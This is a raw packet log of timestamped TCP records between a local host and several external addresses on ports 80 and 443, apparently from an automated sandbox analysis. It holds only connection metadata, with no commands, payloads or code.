Jul 26, 2024 13:49:12.559551001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559566021 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559578896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559592962 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559595108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.559607029 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559621096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.559621096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559637070 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.559657097 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.559674025 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.560513973 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.560528994 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.560543060 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.560555935 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.560555935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.560590982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.560647964 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:13.149143934 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:13.149184942 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:13.149883032 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:13.151976109 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:13.151998043 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.244642019 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.355463982 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:14.355489969 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.359488010 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.359529018 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.359561920 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:14.449399948 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:14.449541092 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:14.449599981 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.574989080 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:14.575015068 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:14.580416918 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:14.580440998 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:14.580502033 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:14.586016893 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:14.586025000 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:14.757339954 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:15.181545019 CEST	58986	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:15.182235003 CEST	59008	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:15.187133074 CEST	80	58986	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:15.187206984 CEST	58986	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:15.187405109 CEST	80	59008	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:15.187472105 CEST	59008	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:15.190779924 CEST	59008	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:15.195764065 CEST	80	59008	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:15.304713964 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:15.304985046 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:15.305062056 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:15.333401918 CEST	58996	443	192.168.2.6	94.245.104.56
Jul 26, 2024 13:49:15.333435059 CEST	443	58996	94.245.104.56	192.168.2.6
Jul 26, 2024 13:49:15.394603968 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.394686937 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.397069931 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.397082090 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.397398949 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.456964016 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.457017899 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.457024097 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.457459927 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.500497103 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.634079933 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.634162903 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.634208918 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.639756918 CEST	59007	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:15.639774084 CEST	443	59007	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:15.989954948 CEST	80	59008	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:15.990187883 CEST	59008	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.141151905 CEST	59008	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.141151905 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.146548986 CEST	80	59014	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:16.146816015 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.146816015 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.146929979 CEST	80	59008	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:16.148315907 CEST	59008	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.153594971 CEST	80	59014	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:16.735369921 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:16.735399008 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:16.735449076 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:16.735716105 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:16.735732079 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:16.897934914 CEST	80	59014	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:16.897994041 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.903867960 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:16.908792973 CEST	80	59014	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:17.191807985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:17.191886902 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:17.195483923 CEST	80	59014	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:17.195746899 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:17.396528006 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.397012949 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.397027016 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.397524118 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.397542953 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.397578001 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.397584915 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.397628069 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.398533106 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.399898052 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.399981022 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.400108099 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.400120974 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.422432899 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:17.422432899 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:17.427460909 CEST	80	59017	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:17.427697897 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:17.428227901 CEST	80	59014	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:17.428281069 CEST	59014	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:17.474818945 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.540932894 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:17.545978069 CEST	80	59017	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:17.663383007 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.663424015 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.663470984 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.663485050 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.666114092 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.666160107 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.666167974 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.672357082 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.672420025 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.672427893 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.678718090 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.678766012 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.678774118 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.684758902 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.684804916 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.684813976 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.687108040 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:17.687441111 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:17.691268921 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.691324949 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.691332102 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.692213058 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:17.692392111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:17.692447901 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:17.694243908 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:17.699577093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:17.699589014 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.699635983 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.699647903 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.703866959 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.703915119 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.703924894 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.753761053 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.753873110 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.753887892 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.754046917 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.754089117 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.754096031 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.759140968 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.759207964 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.759222031 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.764585972 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.764659882 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.764668941 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.770684958 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.770759106 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.770771027 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.776916027 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.776988029 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.776997089 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.783646107 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.783761024 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.783777952 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.789673090 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.789726973 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.789762974 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.795881987 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.795949936 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.795975924 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.802108049 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.802167892 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.802187920 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.807413101 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.807476997 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.807495117 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.814960003 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.815012932 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.815031052 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.818942070 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.818995953 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.819009066 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.823493004 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.823622942 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.823637962 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.834259987 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.834328890 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.834343910 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.842173100 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.842242956 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.842266083 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.857681036 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.857750893 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.857772112 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.857862949 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.857901096 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.857908010 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.861865044 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.861920118 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.861932039 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.866452932 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.866503954 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.866520882 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.871396065 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.871448994 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.871465921 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.875349045 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.875392914 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.875405073 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.879072905 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.879129887 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.879143953 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.882966042 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.883025885 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.883042097 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.887187958 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.887229919 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.887243986 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.892728090 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.892779112 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.892795086 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.894798994 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.895661116 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.895673990 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.897727966 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.897778034 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.897793055 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898025990 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898072004 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.898081064 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898452044 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898498058 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.898507118 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898627996 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898686886 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.898694992 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898775101 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.898844004 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.898850918 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.899207115 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.899246931 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.899255991 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.899954081 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.899993896 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.900001049 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.905500889 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.905550003 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.905563116 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.909256935 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.909296989 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.909310102 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.909523010 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.909574986 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.909584999 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.913935900 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.913992882 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.914004087 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.916093111 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.916146994 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.916155100 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.926575899 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.926634073 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.926654100 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.927026987 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.927063942 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.927073956 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.927133083 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.927167892 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.927174091 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.927229881 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:17.927273989 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.928093910 CEST	59015	443	192.168.2.6	142.250.185.129
Jul 26, 2024 13:49:17.928111076 CEST	443	59015	142.250.185.129	192.168.2.6
Jul 26, 2024 13:49:18.187223911 CEST	80	59017	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:18.187288046 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.200505972 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.205260038 CEST	80	59017	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:18.448025942 CEST	80	59017	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:18.448920965 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.477212906 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:18.477256060 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:18.477557898 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:18.479382992 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:18.479398966 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:18.558991909 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.559154987 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.564256907 CEST	80	59024	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:18.564311028 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.564510107 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.565069914 CEST	80	59017	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:18.565186977 CEST	59017	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:18.570337057 CEST	80	59024	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:18.679270029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:18.679378033 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:18.798377037 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:18.803437948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:19.174237967 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.174407959 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.208556890 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.208580971 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.209434986 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.315141916 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.317095041 CEST	80	59024	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:19.317287922 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.318016052 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.327501059 CEST	80	59024	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:19.327512980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:19.327569962 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:19.345141888 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:19.345180988 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:19.345285892 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:19.345518112 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:19.345527887 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:19.360506058 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.527156115 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.527267933 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.529436111 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.562841892 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.562843084 CEST	59023	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.562870979 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.562884092 CEST	443	59023	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.570862055 CEST	80	59024	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:19.572772980 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.635173082 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.635246038 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.637310982 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.638573885 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:19.638605118 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:19.700350046 CEST	59034	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:19.700401068 CEST	443	59034	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:19.705272913 CEST	59034	443	192.168.2.6	35.190.72.216
